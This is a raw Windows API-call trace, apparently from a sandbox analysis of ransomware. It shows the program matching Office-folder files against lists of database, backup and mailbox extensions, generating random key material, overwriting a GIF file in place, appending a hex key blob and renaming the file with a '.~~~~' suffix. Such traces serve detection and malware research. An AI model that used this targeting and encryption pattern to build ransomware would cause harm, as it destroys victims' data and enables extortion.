	[0143.219] lstrlenW (lpString=".MDT") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".MDT") returned 0x0
	[0143.219] lstrlenW (lpString=".SQB") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".SQB") returned 0x0
	[0143.219] lstrlenW (lpString=".vhd") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".vhd") returned 0x0
	[0143.219] lstrlenW (lpString=".bac") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".bac") returned 0x0
	[0143.219] lstrlenW (lpString=".mdf") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".mdf") returned 0x0
	[0143.219] lstrlenW (lpString=".BAK") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".BAK") returned 0x0
	[0143.219] lstrlenW (lpString=".BAC") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".BAC") returned 0x0
	[0143.219] lstrlenW (lpString=".dbs") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dbs") returned 0x0
	[0143.219] lstrlenW (lpString=".vhdx") returned 5
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.219] lstrlenW (lpString=".NDF") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".NDF") returned 0x0
	[0143.220] lstrlenW (lpString=".dat") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dat") returned 0x0
	[0143.220] lstrlenW (lpString=".DBS") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DBS") returned 0x0
	[0143.220] lstrlenW (lpString=".CKP") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".CKP") returned 0x0
	[0143.220] lstrlenW (lpString=".edb") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".edb") returned 0x0
	[0143.220] lstrlenW (lpString=".PST") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".PST") returned 0x0
	[0143.220] lstrlenW (lpString=".dbf") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dbf") returned 0x0
	[0143.220] lstrlenW (lpString=".SQL") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".SQL") returned 0x0
	[0143.220] lstrlenW (lpString=".pst") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".pst") returned 0x0
	[0143.220] lstrlenW (lpString=".dbv") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dbv") returned 0x0
	[0143.220] lstrlenW (lpString=".SDF") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".SDF") returned 0x0
	[0143.220] lstrlenW (lpString=".dtxs") returned 5
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.220] lstrlenW (lpString=".db3") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".db3") returned 0x0
	[0143.220] lstrlenW (lpString=".OST") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".OST") returned 0x0
	[0143.220] lstrlenW (lpString=".dbx") returned 4
	[0143.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dbx") returned 0x0
	[0143.220] lstrlenW (lpString=".DB3") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DB3") returned 0x0
	[0143.221] lstrlenW (lpString=".DAT") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DAT") returned 0x0
	[0143.221] lstrlenW (lpString=".VHDX") returned 5
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.221] lstrlenW (lpString=".ndf") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".ndf") returned 0x0
	[0143.221] lstrlenW (lpString=".DB") returned 3
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DB") returned 0x0
	[0143.221] lstrlenW (lpString=".sql") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".sql") returned 0x0
	[0143.221] lstrlenW (lpString=".MYD") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".MYD") returned 0x0
	[0143.221] lstrlenW (lpString=".DBT") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DBT") returned 0x0
	[0143.221] lstrlenW (lpString=".ACCDB") returned 6
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.221] lstrlenW (lpString=".fdb") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".fdb") returned 0x0
	[0143.221] lstrlenW (lpString=".bak") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".bak") returned 0x0
	[0143.221] lstrlenW (lpString=".myd") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".myd") returned 0x0
	[0143.221] lstrlenW (lpString=".DTXS") returned 5
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.221] lstrlenW (lpString=".ckp") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".ckp") returned 0x0
	[0143.221] lstrlenW (lpString=".dbt") returned 4
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dbt") returned 0x0
	[0143.221] lstrlenW (lpString=".db") returned 3
	[0143.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".db") returned 0x0
	[0143.222] lstrlenW (lpString=".TXT") returned 4
	[0143.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".TXT") returned 0x0
	[0143.222] lstrlenW (lpString=".MDF") returned 4
	[0143.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".MDF") returned 0x0
	[0143.222] lstrlenW (lpString=".bdb") returned 4
	[0143.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".bdb") returned 0x0
	[0143.222] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.222] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.223] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.223] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.223] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26321359211) returned 1
	[0143.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbec60ad0, dwHighDateTime=0x1d60e1e)) 
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5498
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5498 | out: hHeap=0x300000) returned 1
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab018
	[0143.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab018 | out: hHeap=0x300000) returned 1
	[0143.224] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.225] GetLastError () returned 0x0
	[0143.225] GetLastError () returned 0x0
	[0143.225] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.225] GetLastError () returned 0x0
	[0143.225] GetLastError () returned 0x0
	[0143.225] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x539e, lpOverlapped=0x0) returned 1
	[0143.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffac62, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.228] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x539e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x539e, lpOverlapped=0x0) returned 1
	[0143.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.229] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.229] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.229] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.229] CloseHandle (hObject=0x114) returned 1
	[0143.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab018
	[0143.229] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif.~~~~")) returned 1
	[0143.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab018 | out: hHeap=0x300000) returned 1
	[0143.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.232] GetLastError () returned 0x0
	[0143.233] RtlWakeConditionVariable () returned 0x0
	[0143.233] GetCurrentThreadId () returned 0x3a4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".scr") returned 0x0
	[0143.233] lstrlenW (lpString=".cmd") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".cmd") returned 0x0
	[0143.233] lstrlenW (lpString=".dll") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dll") returned 0x0
	[0143.233] lstrlenW (lpString=".bat") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".bat") returned 0x0
	[0143.233] lstrlenW (lpString=".cpl") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".cpl") returned 0x0
	[0143.233] lstrlenW (lpString=".sys") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".sys") returned 0x0
	[0143.233] lstrlenW (lpString=".msc") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".msc") returned 0x0
	[0143.233] lstrlenW (lpString=".com") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".com") returned 0x0
	[0143.233] lstrlenW (lpString=".lnk") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".lnk") returned 0x0
	[0143.233] lstrlenW (lpString=".msp") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".msp") returned 0x0
	[0143.233] lstrlenW (lpString=".pif") returned 4
	[0143.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".pif") returned 0x0
	[0143.234] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.236] lstrlenW (lpString=".sqb") returned 4
	[0143.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".sqb") returned 0x0
	[0143.236] lstrlenW (lpString=".ost") returned 4
	[0143.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".ost") returned 0x0
	[0143.236] lstrlenW (lpString=".txt") returned 4
	[0143.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".txt") returned 0x0
	[0143.236] lstrlenW (lpString=".mdt") returned 4
	[0143.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".mdt") returned 0x0
	[0143.236] lstrlenW (lpString=".BDB") returned 4
	[0143.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".BDB") returned 0x0
	[0143.236] lstrlenW (lpString=".eql") returned 4
	[0143.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".eql") returned 0x0
	[0143.236] lstrlenW (lpString=".DBF") returned 4
	[0143.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DBF") returned 0x0
	[0143.237] lstrlenW (lpString=".EQL") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".EQL") returned 0x0
	[0143.237] lstrlenW (lpString=".FDB") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".FDB") returned 0x0
	[0143.237] lstrlenW (lpString=".EDB") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".EDB") returned 0x0
	[0143.237] lstrlenW (lpString=".DACPAC") returned 7
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.237] lstrlenW (lpString=".VHD") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".VHD") returned 0x0
	[0143.237] lstrlenW (lpString=".DBV") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DBV") returned 0x0
	[0143.237] lstrlenW (lpString=".dacpac") returned 7
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.237] lstrlenW (lpString=".sdf") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".sdf") returned 0x0
	[0143.237] lstrlenW (lpString=".accdb") returned 6
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".accdb") returned 0x0
	[0143.237] lstrlenW (lpString=".DBX") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DBX") returned 0x0
	[0143.237] lstrlenW (lpString=".MDT") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".MDT") returned 0x0
	[0143.237] lstrlenW (lpString=".SQB") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".SQB") returned 0x0
	[0143.237] lstrlenW (lpString=".vhd") returned 4
	[0143.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".vhd") returned 0x0
	[0143.238] lstrlenW (lpString=".bac") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".bac") returned 0x0
	[0143.238] lstrlenW (lpString=".mdf") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".mdf") returned 0x0
	[0143.238] lstrlenW (lpString=".BAK") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".BAK") returned 0x0
	[0143.238] lstrlenW (lpString=".BAC") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".BAC") returned 0x0
	[0143.238] lstrlenW (lpString=".dbs") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dbs") returned 0x0
	[0143.238] lstrlenW (lpString=".vhdx") returned 5
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.238] lstrlenW (lpString=".NDF") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".NDF") returned 0x0
	[0143.238] lstrlenW (lpString=".dat") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dat") returned 0x0
	[0143.238] lstrlenW (lpString=".DBS") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DBS") returned 0x0
	[0143.238] lstrlenW (lpString=".CKP") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".CKP") returned 0x0
	[0143.238] lstrlenW (lpString=".edb") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".edb") returned 0x0
	[0143.238] lstrlenW (lpString=".PST") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".PST") returned 0x0
	[0143.238] lstrlenW (lpString=".dbf") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dbf") returned 0x0
	[0143.238] lstrlenW (lpString=".SQL") returned 4
	[0143.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".SQL") returned 0x0
	[0143.239] lstrlenW (lpString=".pst") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".pst") returned 0x0
	[0143.239] lstrlenW (lpString=".dbv") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dbv") returned 0x0
